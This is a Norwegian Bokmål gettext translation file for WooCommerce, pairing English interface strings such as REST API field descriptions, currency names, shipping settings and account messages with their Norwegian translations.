#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:61
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-refunds-v1-controller.php:83
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:69
#: includes/rest-api/Controllers/Version2/class-wc-rest-order-refunds-v2-controller.php:95
#: src/StoreApi/Schemas/V1/OrderSchema.php:115
msgid "The order ID."
msgstr "Ordre-ID'en."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:990
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:980
msgid "Limit result set to specific IDs."
msgstr "Avgrens resultat til bestemte ID'er."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:111
msgid "ID to reassign posts to."
msgstr "ID'en inlegg skal tildeles til."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:69
msgid "New user password."
msgstr "Ny bruker passord."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:64
msgid "New user username."
msgstr "Ny bruker brukernavn."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:60
msgid "New user email address."
msgstr "Ny bruker e-postadresse."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attribute-terms-v1-controller.php:64
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-attributes-v1-controller.php:73
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:64
msgid "Name for the resource."
msgstr "Navn for ressursen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:981
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:726
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:626
#: includes/rest-api/Controllers/Version3/class-wc-rest-posts-controller.php:636
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:972
#: includes/rest-api/Controllers/Version3/class-wc-rest-terms-controller.php:709
#: src/Admin/API/Reports/Stock/Controller.php:423
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:152
#: src/StoreApi/Routes/V1/AbstractTermsRoute.php:54
#: src/StoreApi/Routes/V1/Products.php:196
msgid "Ensure result set excludes specific IDs."
msgstr "Sørg for at resultatet ekskluderer gitte ID'er."
#. translators: %s: attachment id
#. translators: %s: attachment ID
#. translators: %s: image ID
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:874
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1338
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:492
#: includes/rest-api/Controllers/Version3/class-wc-rest-products-controller.php:661
#: includes/rest-api/Controllers/Version4/Products/class-wc-rest-products-v4-controller.php:667
#: includes/rest-api/Utilities/ImageAttachment.php:61
msgid "#%s is an invalid image ID."
msgstr "%s er en ugyldig bilde-id."
#: includes/react-admin/connect-existing-pages.php:27
#: src/Internal/Admin/Marketplace.php:71 src/Internal/Admin/Marketplace.php:72
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/marketplace.js:1
msgid "Extensions"
msgstr "Utvidelser"
#: includes/admin/class-wc-admin-menus.php:215
#: includes/admin/class-wc-admin-menus.php:225
msgid "WooCommerce extensions"
msgstr "WooCommerce Utvidelser"
#: includes/admin/class-wc-admin-addons.php:163
#: includes/admin/helper/class-wc-helper.php:471
#: assets/client/admin/chunks/core-profiler.js:1
#: assets/client/admin/chunks/marketplace.js:1
msgid "Installed"
msgstr "Installert"
#. Author URI of the plugin
#: woocommerce.php
msgid "https://woocommerce.com"
msgstr "https://woocommerce.com"
#. Translators: %s Docs URL.
#: includes/admin/settings/class-wc-settings-advanced.php:171
msgid "Force SSL (HTTPS) on the checkout pages (<a href=\"%s\" target=\"_blank\">an SSL Certificate is required</a>)."
msgstr "Tving SSL (HTTPS) på kassesidene (<a href=\"%s\" target=\"_blank\">et SSL-sertifikat er påkrevd</a>)."
#: includes/admin/class-wc-admin.php:235
#: src/Internal/Admin/EmailPreview/EmailPreviewRestController.php:246
msgid "Invalid email type."
msgstr "Ugyldig e-posttype."
#. Plugin URI of the plugin
#: woocommerce.php
msgid "https://woocommerce.com/"
msgstr "https://woocommerce.com/"
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:2345
msgid "If the variation is visible."
msgstr "Hvis varianten er synlig."
#: includes/class-wc-shipping-zone.php:148
#: assets/client/admin/wp-admin-scripts/shipping-settings-region-picker.js:2
msgid "Everywhere"
msgstr "Overalt"
#. translators: %s: error message
#: includes/class-wc-auth.php:436
msgid "Error: %s."
msgstr "Feil: %s."
#: includes/admin/settings/class-wc-settings-shipping.php:158
msgid "Enable shipping debug mode to show matching shipping zones and to bypass shipping rate cache."
msgstr "Aktiver feilsøkingsmodus for frakt for å vise samsvarende fraktsoner og for å omgå mellomlager for fraktpris."
#: includes/admin/settings/views/html-admin-page-shipping-zone-methods.php:189
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:133
msgid "Choose the shipping method you wish to add. Only shipping methods which support zones are listed."
msgstr "Velg fraktmåten du ønsker å legge til. Bare fraktmåter som støtter soner vises."
#: includes/admin/settings/class-wc-settings-shipping.php:384
#: includes/admin/settings/views/html-admin-page-shipping-zones.php:71
msgid "No shipping methods offered to this zone."
msgstr "Det finnes ingen fraktmåter for denne sonen."
#: includes/admin/settings/class-wc-settings-advanced.php:248
msgid "Endpoints are appended to your page URLs to handle specific actions on the accounts pages. They should be unique and can be left blank to disable the endpoint."
msgstr "Sluttpunkter er lagt til din sides URL'er for å håndtere konkrete handlinger på kontoens sider. De bør være unikt og kan stå tomt for å deaktivere sluttpunktet."
#: includes/wc-core-functions.php:582
msgid "North Korean won"
msgstr "Nord-Koreanske Won"
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:12
msgid "Use <code>[qty]</code> for the number of items, <br/><code>[cost]</code> for the total cost of items, and <code>[fee percent=\"10\" min_fee=\"20\" max_fee=\"\"]</code> for percentage based fees."
msgstr "Bruk <code>[qty]</code> for antall produkter, <br/><code>[cost]</code> for totalkostnad på produktene, og <code>[fee percent=\"10\" min_fee=\"20\" max_fee=\"\"]</code> for prosentbaserte avgifter."
#: includes/admin/settings/class-wc-settings-advanced.php:272
msgid "Endpoint for the \"My account → Downloads\" page."
msgstr "Sluttpunkt for siden \"Min konto → Nedlastninger\"."
#: includes/admin/settings/class-wc-settings-advanced.php:254
msgid "Endpoint for the \"My account → Orders\" page."
msgstr "Sluttpunkt for siden \"Min konto → Ordrer\"."
#. translators: 1: order number 2: order date 3: order status
#: templates/myaccount/view-order.php:38 templates/order/tracking.php:37
msgid "Order #%1$s was placed on %2$s and is currently %3$s."
msgstr "Ordre nr %1$s ble lagt inn %2$s og har status %3$s."
#: templates/myaccount/payment-methods.php:70
msgid "No saved methods found."
msgstr "Ingen lagrede betalingsmåter ble funnet."
#: templates/myaccount/orders.php:121
msgid "No order has been made yet."
msgstr "Ingen ordre har blitt registrert ennå."
#: templates/myaccount/orders.php:114 assets/client/admin/chunks/3970.js:1
#: assets/client/admin/components/index.js:2
#: assets/client/admin/product-editor/index.js:2
msgid "Next"
msgstr "Neste"
#: templates/myaccount/orders.php:110 assets/client/admin/chunks/3970.js:1
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Previous"
msgstr "Forrige"
#: templates/myaccount/lost-password-confirmation.php:25
msgid "A password reset email has been sent to the email address on file for your account, but may take several minutes to show up in your inbox. Please wait at least 10 minutes before attempting another reset."
msgstr "En e-post for tilbakestilling av passord har blitt sendt til e-postadressen som er lagret på din konto, men det kan da en liten stund før denne dukker opp i innboksen din. Vennligst vent minimum 10 minutter før du forsøker å tilbakestille igjen."
#: templates/myaccount/lost-password-confirmation.php:20
msgid "Password reset email has been sent."
msgstr "E-post for tilbakestilling av passord har blitt sendt."
#: templates/myaccount/downloads.php:42
msgid "No downloads available yet."
msgstr "Ingen nedlastninger tilgjengelig ennå."
#: src/Blocks/BlockTypes/OrderConfirmation/Downloads.php:144
#: templates/order/order-downloads.php:56
msgid "∞"
msgstr "∞"
#. translators: %s: product count
#. translators: %s number of products.
#: includes/admin/reports/class-wc-report-stock.php:156
#: includes/widgets/class-wc-widget-product-tag-cloud.php:91
#: assets/client/blocks/attribute-filter-frontend.js:2
#: assets/client/blocks/attribute-filter-wrapper-frontend.js:2
#: assets/client/blocks/attribute-filter.js:8
#: assets/client/blocks/stock-filter-frontend.js:6
#: assets/client/blocks/stock-filter-wrapper-frontend.js:2
#: assets/client/blocks/stock-filter.js:6
msgid "%s product"
msgid_plural "%s products"
msgstr[0] "%s produkt"
msgstr[1] "%s produkter"
#. translators: 1: param 2: type
#: includes/wc-rest-functions.php:191
msgid "%1$s is not of type %2$s"
msgstr "%1$s er ikke av typen %2$s"
#. translators: %s: image URL
#: includes/wc-rest-functions.php:100
msgid "Error getting remote image %s."
msgstr "Feil ved henting av eksternt bilde %s."
#. translators: %s: image URL
#: includes/wc-rest-functions.php:78
msgid "Invalid URL %s."
msgstr "Ugyldig nettadresse %s."
#: includes/wc-core-functions.php:666
msgid "Zambian kwacha"
msgstr "Zambisisk kwacha"
#: includes/wc-core-functions.php:664
msgid "Yemeni rial"
msgstr "Yemensk rial"
#: includes/wc-core-functions.php:663
msgid "CFP franc"
msgstr "CFP franc"
#: includes/wc-core-functions.php:662
msgid "West African CFA franc"
msgstr "Vest-afrikansk CFA franc"
#: includes/wc-core-functions.php:661
msgid "East Caribbean dollar"
msgstr "Øst-Karibiske dollar"
#: includes/wc-core-functions.php:660
msgid "Central African CFA franc"
msgstr "Sentral-afrikask CFA franc"
#: includes/wc-core-functions.php:659
msgid "Samoan tālā"
msgstr "Samoisk tālā"
#: includes/wc-core-functions.php:658
msgid "Vanuatu vatu"
msgstr "Vanuatu vatu"
#: includes/wc-core-functions.php:657
msgid "Vietnamese đồng"
msgstr "Vietnamesisk đồng"
#: includes/wc-core-functions.php:656
msgid "Venezuelan bolívar"
msgstr "Venezuelisk bolívar"
#: includes/wc-core-functions.php:654
msgid "Uzbekistani som"
msgstr "Uzbeki som"
#: includes/wc-core-functions.php:653
msgid "Uruguayan peso"
msgstr "Uruguayisk peso"
#: includes/wc-core-functions.php:651
msgid "Ugandan shilling"
msgstr "Ugandisk shilling"
#: includes/wc-core-functions.php:649
msgid "Tanzanian shilling"
msgstr "Tanzaniansk shilling"
#: includes/wc-core-functions.php:648
msgid "New Taiwan dollar"
msgstr "New Taiwan dollar"
#: includes/wc-core-functions.php:647
msgid "Trinidad and Tobago dollar"
msgstr "Trinidad & Tobago dollar"
#: includes/wc-core-functions.php:645
msgid "Tongan paʻanga"
msgstr "Tongansk paʻanga"
#: includes/wc-core-functions.php:644
msgid "Tunisian dinar"
msgstr "Tunesisk dinar"
#: includes/wc-core-functions.php:643
msgid "Turkmenistan manat"
msgstr "Turkmenistansk manat"
#: includes/wc-core-functions.php:642
msgid "Tajikistani somoni"
msgstr "Tajikistani somoni"
#: includes/wc-core-functions.php:640
msgid "Swazi lilangeni"
msgstr "Swazi lilangeni"
#: includes/wc-core-functions.php:639
msgid "Syrian pound"
msgstr "Syriske pund"
#: includes/wc-core-functions.php:638
msgid "São Tomé and Príncipe dobra"
msgstr "São Tomé and Príncipe dobra"
#: includes/wc-core-functions.php:637
msgid "South Sudanese pound"
msgstr "Sør-Sudansk pund"
#: includes/wc-core-functions.php:636
msgid "Surinamese dollar"
msgstr "Surinamesisk dollar"
#: includes/wc-core-functions.php:635
msgid "Somali shilling"
msgstr "Somalisk shilling"
#: includes/wc-core-functions.php:634
msgid "Sierra Leonean leone"
msgstr "Sierra Leonisk leone"
#: includes/wc-core-functions.php:633
msgid "Saint Helena pound"
msgstr "St. Helena pund"
#: includes/wc-core-functions.php:630
msgid "Sudanese pound"
msgstr "Sudansk pund"
#: includes/wc-core-functions.php:629
msgid "Seychellois rupee"
msgstr "Seychellisk rupee"
#: includes/wc-core-functions.php:628
msgid "Solomon Islands dollar"
msgstr "Solomon Islands dollar"
#: includes/wc-core-functions.php:626
msgid "Rwandan franc"
msgstr "Rwandisk franc"
#: includes/wc-core-functions.php:624
msgid "Serbian dinar"
msgstr "Serbisk dinar"
#: includes/wc-core-functions.php:622
msgid "Qatari riyal"
msgstr "Qatarsk riyal"
#: includes/wc-core-functions.php:621
msgid "Paraguayan guaraní"
msgstr "Paraguayisk guaraní"
#: includes/wc-core-functions.php:620
msgid "Transnistrian ruble"
msgstr "Transnistriansk rubel"
#: includes/wc-core-functions.php:619
msgid "Polish złoty"
msgstr "Polske złoty"
#: includes/wc-core-functions.php:616
msgid "Papua New Guinean kina"
msgstr "Papua Ny-Guineansk kina"
#: includes/wc-core-functions.php:614
msgid "Panamanian balboa"
msgstr "Panamansk balboa"
#: includes/wc-core-functions.php:613
msgid "Omani rial"
msgstr "Omansk rial"
#: includes/wc-core-functions.php:611
msgid "Nepalese rupee"
msgstr "Nepalsk rupee"
#: includes/wc-core-functions.php:609
msgid "Nicaraguan córdoba"
msgstr "Nicaraguansk córdoba"
#: includes/wc-core-functions.php:607
msgid "Namibian dollar"
msgstr "Namibesisk dollar"
#: includes/wc-core-functions.php:606
msgid "Mozambican metical"
msgstr "Mozambisk metical"
#: includes/wc-core-functions.php:603
msgid "Malawian kwacha"
msgstr "Malawisk kwacha"
#: includes/wc-core-functions.php:602
msgid "Maldivian rufiyaa"
msgstr "Maldivisk rufiyah"
#: includes/wc-core-functions.php:601
msgid "Mauritian rupee"
msgstr "Mauritisk rupi"
#: includes/wc-core-functions.php:600
msgid "Mauritanian ouguiya"
msgstr "Mauritansk ouguiya"
#: includes/wc-core-functions.php:599
msgid "Macanese pataca"
msgstr "Macansk pataca"
#: includes/wc-core-functions.php:598
msgid "Mongolian tögrög"
msgstr "Mongolsk tögrög"
#: includes/wc-core-functions.php:597
msgid "Burmese kyat"
msgstr "Burmesisk kyat"
#: includes/wc-core-functions.php:596
msgid "Macedonian denar"
msgstr "Makedonsk denar"
#: includes/wc-core-functions.php:595
msgid "Malagasy ariary"
msgstr "Malagasy ariary"
#: includes/wc-core-functions.php:594
msgid "Moldovan leu"
msgstr "Moldovisk leu"
#: includes/wc-core-functions.php:593
msgid "Moroccan dirham"
msgstr "Moroccansk dirham"
#: includes/wc-core-functions.php:592
msgid "Libyan dinar"
msgstr "Libysk dinar"
#: includes/wc-core-functions.php:591
msgid "Lesotho loti"
msgstr "Lesotisk loti"
#: includes/wc-core-functions.php:590
msgid "Liberian dollar"
msgstr "Liberisk dollar"
#: includes/wc-core-functions.php:589
msgid "Sri Lankan rupee"
msgstr "Sri Lanka rupi"
#: includes/wc-core-functions.php:588
msgid "Lebanese pound"
msgstr "Lebanesisk pund"
#: includes/wc-core-functions.php:586
msgid "Kazakhstani tenge"
msgstr "Kazakhstansk tenge"
#: includes/wc-core-functions.php:585
msgid "Cayman Islands dollar"
msgstr "Caymanøyene dollar"
#: includes/wc-core-functions.php:584
msgid "Kuwaiti dinar"
msgstr "Kuwaitisk dinar"
#: includes/wc-core-functions.php:581
msgid "Comorian franc"
msgstr "Comorsk franc"
#: includes/wc-core-functions.php:580
msgid "Cambodian riel"
msgstr "Kambodsjansk riel"
#: includes/wc-core-functions.php:579
msgid "Kyrgyzstani som"
msgstr "Kyrgyzstansk som"
#: includes/wc-core-functions.php:576
msgid "Jordanian dinar"
msgstr "Jordansk dinar"
#: includes/wc-core-functions.php:575
msgid "Jamaican dollar"
msgstr "Jamaicansk dollar"
#: includes/wc-core-functions.php:574
msgid "Jersey pound"
msgstr "Jersey pund"
#: includes/wc-core-functions.php:573
msgid "Icelandic króna"
msgstr "Islandske kroner"
#: includes/wc-core-functions.php:571
msgid "Iranian rial"
msgstr "Iransk rial"
#: includes/wc-core-functions.php:570
msgid "Iraqi dinar"
msgstr "Irakisk dinar"
#: includes/wc-core-functions.php:568
msgid "Manx pound"
msgstr "Manx pund"
#: includes/wc-core-functions.php:567
msgid "Israeli new shekel"
msgstr "Israelsk ny shekel"
#: includes/wc-core-functions.php:564
msgid "Haitian gourde"
msgstr "Haitisk gourde"
#: includes/wc-core-functions.php:562
msgid "Honduran lempira"
msgstr "Honduran lempira"
#: includes/wc-core-functions.php:560
msgid "Guyanese dollar"
msgstr "Guyanese dollar"
#: includes/wc-core-functions.php:559
msgid "Guatemalan quetzal"
msgstr "Guatemalan quetzal"
#: includes/wc-core-functions.php:558
msgid "Guinean franc"
msgstr "Guineansk franc"
#: includes/wc-core-functions.php:557
msgid "Gambian dalasi"
msgstr "Gambisk dalasi"
#: includes/wc-core-functions.php:556
msgid "Gibraltar pound"
msgstr "Gibraltar-pund"
#: includes/wc-core-functions.php:555
msgid "Ghana cedi"
msgstr "Ghanesisk cedi"
#: includes/wc-core-functions.php:554
msgid "Guernsey pound"
msgstr "Guernsey-pund"
#: includes/wc-core-functions.php:553
msgid "Georgian lari"
msgstr "Georgisk lari"
#: includes/wc-core-functions.php:551
msgid "Falkland Islands pound"
msgstr "Falklandspund"
#: includes/wc-core-functions.php:550
msgid "Fijian dollar"
msgstr "Fijiansk dollar"
#: includes/wc-core-functions.php:549
msgid "Euro"
msgstr "Euro"
#: includes/wc-core-functions.php:548
msgid "Ethiopian birr"
msgstr "Etiopisk birr"
#: includes/wc-core-functions.php:547
msgid "Eritrean nakfa"
msgstr "Eritreisk nakfa"
#: includes/wc-core-functions.php:545
msgid "Algerian dinar"
msgstr "Algerisk dinar"
#: includes/wc-core-functions.php:542
msgid "Djiboutian franc"
msgstr "Djiboutisk franc"
#: includes/wc-core-functions.php:540
msgid "Cape Verdean escudo"
msgstr "Kappverdisk escudo"
#: includes/wc-core-functions.php:539
msgid "Cuban peso"
msgstr "Cubansk peso"
#: includes/wc-core-functions.php:538
msgid "Cuban convertible peso"
msgstr "Cubansk konvertibel peso"
#: includes/wc-core-functions.php:537
msgid "Costa Rican colón"
msgstr "Costaricansk colón"
#: includes/wc-core-functions.php:532
msgid "Congolese franc"
msgstr "Congolese franc"
#: includes/wc-core-functions.php:530
msgid "Belize dollar"
msgstr "Belize dollar"
#: includes/wc-core-functions.php:529
msgid "Belarusian ruble"
msgstr "Belarusian ruble"
#: includes/wc-core-functions.php:527
msgid "Botswana pula"
msgstr "Botswana pula"
#: includes/wc-core-functions.php:526
msgid "Bhutanese ngultrum"
msgstr "Bhutanese ngultrum"
#: includes/wc-core-functions.php:525
msgid "Bitcoin"
msgstr "Bitcoin"
#: includes/wc-core-functions.php:524
msgid "Bahamian dollar"
msgstr "Bahamian dollar"
#: includes/wc-core-functions.php:522
msgid "Bolivian boliviano"
msgstr "Bolivian boliviano"
#: includes/wc-core-functions.php:521
msgid "Brunei dollar"
msgstr "Brunei dollar"
#: includes/wc-core-functions.php:520
msgid "Bermudian dollar"
msgstr "Bermudian dollar"
#: includes/wc-core-functions.php:519
msgid "Burundian franc"
msgstr "Burundian franc"
#: includes/wc-core-functions.php:518
msgid "Bahraini dinar"
msgstr "Bahraini dinar"
#: includes/wc-core-functions.php:515
msgid "Barbadian dollar"
msgstr "Barbadian dollar"
#: includes/wc-core-functions.php:514
msgid "Bosnia and Herzegovina convertible mark"
msgstr "Bosnia and Herzegovina convertible mark"
#: includes/wc-core-functions.php:513
msgid "Azerbaijani manat"
msgstr "Azerbaijani manat"
#: includes/wc-core-functions.php:512
msgid "Aruban florin"
msgstr "Aruban florin"
#: includes/wc-core-functions.php:509
msgid "Angolan kwanza"
msgstr "Angolan kwanza"
#: includes/wc-core-functions.php:508
msgid "Netherlands Antillean guilder"
msgstr "Netherlands Antillean guilder"
#: includes/wc-core-functions.php:507
msgid "Armenian dram"
msgstr "Armenian dram"
#: includes/wc-core-functions.php:506
msgid "Albanian lek"
msgstr "Albanian lek"
#: includes/wc-core-functions.php:505
msgid "Afghan afghani"
msgstr "Afghan afghani"
#: includes/admin/class-wc-admin-taxonomies.php:405
#: includes/wc-account-functions.php:405
msgid "Make default"
msgstr "Gjør til standard"
#: includes/class-wc-emails.php:549 includes/wc-account-functions.php:243
#: includes/wc-account-functions.php:267
#: src/Admin/API/Reports/Coupons/Controller.php:226
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/blocks/order-confirmation-downloads.js:1
msgid "Expires"
msgstr "Utløper"
#: includes/admin/reports/class-wc-report-downloads.php:220
#: src/Internal/Admin/Logging/FileV2/SearchListTable.php:140
msgid "File"
msgstr "Fil"
#: includes/wc-account-functions.php:107
msgid "Dashboard"
msgstr "Kontrollpanel"
#: includes/wc-rest-functions.php:198
msgid "The date you provided is invalid."
msgstr "Datoen du oppga er ikke gyldig."
#: src/StoreApi/Routes/V1/AbstractRoute.php:263
msgid "Scope under which the request is made; determines fields present in response."
msgstr "Omfanget forespørselen er gjort for bestemmer mulige felt i responsen."
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:590
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:146
#: src/StoreApi/Routes/V1/AbstractTermsRoute.php:47
#: src/StoreApi/Routes/V1/Products.php:155
msgid "Limit results to those matching a string."
msgstr "Begrens resultater til de som tilsvarer en streng."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:724
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:581
#: src/Admin/API/Leaderboards.php:501 src/Admin/API/Notes.php:664
#: src/Admin/API/ProductsLowInStock.php:514
#: src/Admin/API/Reports/GenericController.php:128
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:78
msgid "Maximum number of items to be returned in result set."
msgstr "Maksimum antall elementer som skal vises i et resultat."
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:716
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:573
#: src/Admin/API/Leaderboards.php:493 src/Admin/API/Notes.php:656
#: src/Admin/API/ProductsLowInStock.php:506
#: src/Admin/API/Reports/GenericController.php:120
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:70
#: src/StoreApi/Routes/V1/AbstractTermsRoute.php:29
#: src/StoreApi/Routes/V1/ProductReviews.php:178
#: src/StoreApi/Routes/V1/Products.php:136
msgid "Current page of the collection."
msgstr "Nåværende side i samlingen."
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:124
msgid "Optional cost for local pickup."
msgstr "Valgfri kostnad for lokal henting."
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:42
msgid "Allow customers to pick up orders themselves. By default, when using local pickup store base taxes will apply regardless of customer address."
msgstr "Tillat kunder å hente ordrene selv. Når du bruker lokal henting vil avgifter som standard medregnes uavhengig av kundens adresse."
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:35
msgid "Local pickup (legacy)"
msgstr "Lokal henting (Foreldet)"
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:44
msgid "Local delivery (legacy)"
msgstr "Lokal levering (Foreldet)"
#: includes/shipping/legacy-international-delivery/class-wc-shipping-legacy-international-delivery.php:28
msgid "International flat rate (legacy)"
msgstr "Internasjonal fastpris (Foreldet)"
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:44
msgid "Free shipping (legacy)"
msgstr "Gratis frakt (Foreldet)"
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:23
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:101
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:134
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:105
msgid "Once disabled, this legacy method will no longer be available."
msgstr "Når dette er deaktivert, vil ikke denne metoden lenger være tilgjengelig."
#. translators: %s: Admin shipping settings URL
#: includes/shipping/legacy-flat-rate/class-wc-shipping-legacy-flat-rate.php:59
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:46
#: includes/shipping/legacy-international-delivery/class-wc-shipping-legacy-international-delivery.php:30
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:46
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:37
msgid "This method is deprecated in 2.6.0 and will be removed in future versions - we recommend disabling it and instead setting up a new rate within your <a href=\"%s\">Shipping zones</a>."
msgstr "Denne metoden er foreldet i 2.6.0 og vil bli fjernet i fremtidige versjoner - vi anbefaler å deaktivere dette og i stedet sette opp en ny pris i dine <a href=\"%s\">Fraktsoner</a>."
#: includes/shipping/legacy-flat-rate/class-wc-shipping-legacy-flat-rate.php:57
msgid "Flat rate (legacy)"
msgstr "Fastpris (Foreldet)"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:119
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:140
msgid "A minimum order amount"
msgstr "Et minimum ordrebeløp"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:57
msgid "Free shipping is a special method which can be triggered with coupons and minimum spends."
msgstr "Gratis levering er en spesialmåte som kan utløses med rabattkoder og minimumsbeløp."
#: includes/shipping/flat-rate/class-wc-shipping-flat-rate.php:46
msgid "Lets you charge a fixed rate for shipping."
msgstr "Lar deg kreve en fast pris for frakt."
#: includes/wc-account-functions.php:284 includes/wc-account-functions.php:453
msgid "eCheck"
msgstr "eSjekk"
#. translators: %d: interval
#: includes/abstracts/class-wc-background-process.php:172
#: includes/libraries/wp-background-process.php:423
msgid "Every %d minutes"
msgstr "Hvert %d minutt"
#: includes/gateways/cheque/class-wc-gateway-cheque.php:159
msgctxt "Check payment method"
msgid "Awaiting check payment"
msgstr "Avventer betaling med sjekk"
#: includes/emails/class-wc-email.php:1366
msgid "Return to emails"
msgstr "Gå tilbake til E-poster"
#: includes/emails/class-wc-email-customer-on-hold-order.php:32
msgid "Order on-hold"
msgstr "Ordre på vent"
#: includes/class-wc-shipping-zone.php:143
msgid "%s and %d other region"
msgid_plural "%s and %d other regions"
msgstr[0] "%s og %d annen region"
msgstr[1] "%s og %d andre regioner"
#: includes/admin/settings/class-wc-settings-shipping.php:342
#: includes/class-wc-shipping-zone.php:301
msgid "Zone"
msgstr "Sone"
#. translators: %s: page
#: includes/class-wc-query.php:130
msgid "Orders (page %d)"
msgstr "Ordrer (side %d)"
#: includes/class-wc-post-types.php:542
msgid "Coupons list"
msgstr "Rabattkodeliste"
#: includes/class-wc-post-types.php:541
msgid "Coupons navigation"
msgstr "Bla i rabattkoder"
#: includes/class-wc-post-types.php:540
msgid "Filter coupons"
msgstr "Filtrér rabattkoder"
#: includes/class-wc-post-types.php:479
msgid "Orders list"
msgstr "Ordreliste"
#: includes/class-wc-post-types.php:478
msgid "Orders navigation"
msgstr "Bla i ordrer"
#: includes/class-wc-post-types.php:477
msgid "Filter orders"
msgstr "Filtrér ordre"
#: includes/class-wc-post-types.php:349
#: includes/widgets/class-wc-widget-products.php:25
msgid "Products list"
msgstr "Produktliste"
#: includes/class-wc-post-types.php:348
msgid "Products navigation"
msgstr "Bla i produkter"
#: includes/class-wc-post-types.php:347
#: src/Blocks/BlockTypes/ProductFilters.php:135
#: assets/client/blocks/product-filters.js:1
msgid "Filter products"
msgstr "Filtrér produkter"
#: includes/class-wc-post-types.php:346
msgid "Uploaded to this product"
msgstr "Lastet opp til dette produktet"
#: includes/class-wc-post-types.php:345
msgid "Insert into product"
msgstr "Sett inn på produkt"
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:252
msgid "No "%s" found"
msgstr "Ingen "%s" funnet"
#. translators: 1: plugin name, 2: URL to WP plugin page.
#: includes/class-wc-install.php:2641
msgid "%1$s was installed but could not be activated. <a href=\"%2$s\">Please activate it manually by clicking here.</a>"
msgstr "%1$s ble installert men kunne ikke aktiveres. <a href=\"%2$s\">Vennligst aktiver manuelt ved å klikke her.</a>"
#. translators: 1: plugin name, 2: error message, 3: URL to install plugin
#. manually.
#. translators: 1: theme slug, 2: error message, 3: URL to install theme
#. manually.
#: includes/class-wc-install.php:2613 includes/class-wc-install.php:2717
msgid "%1$s could not be installed (%2$s). <a href=\"%3$s\">Please install it manually by clicking here.</a>"
msgstr "%1$s kunne ikke installeres (%2$s). <a href=\"%3$s\">Vennligst installer manuelt ved å klikke her.</a>"
#: includes/class-wc-form-handler.php:668
msgid "Undo?"
msgstr "Angre?"
#: includes/class-wc-form-handler.php:624
msgid "This payment method was successfully set as your default."
msgstr "Denne betalingsmåten ble valgt som din standard."
#: includes/class-wc-form-handler.php:600
msgid "Payment method deleted."
msgstr "Betalingsmåte ble slettet."
#: includes/class-wc-download-handler.php:703
msgid "Go to shop"
msgstr "Gå til butikken"
#: includes/class-wc-checkout.php:968
msgid "No shipping method has been selected. Please double check your address, or contact us if you need any help."
msgstr "Ingen fraktmåte har blitt valgt. Dobbeltsjekk adressen din, eller kontakt oss dersom du behøver hjelp."
#: includes/class-wc-checkout.php:957
msgid "Please enter an address to continue."
msgstr "Du må fylle inn en adresse for å fortsette."
#: includes/class-wc-ajax.php:352 templates/cart/cart-empty.php:35
msgid "Return to shop"
msgstr "Tilbake til butikken"
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:769
msgid "Limit result set to webhooks assigned a specific status."
msgstr "Avgrens resultatet til webhooks knyttet til en bestemt status."
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhooks-v1-controller.php:692
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:166
msgid "The date the webhook was last modified, in the site's timezone."
msgstr "Dato da webhook'en sist ble redigert, i nettstedets tidssone."
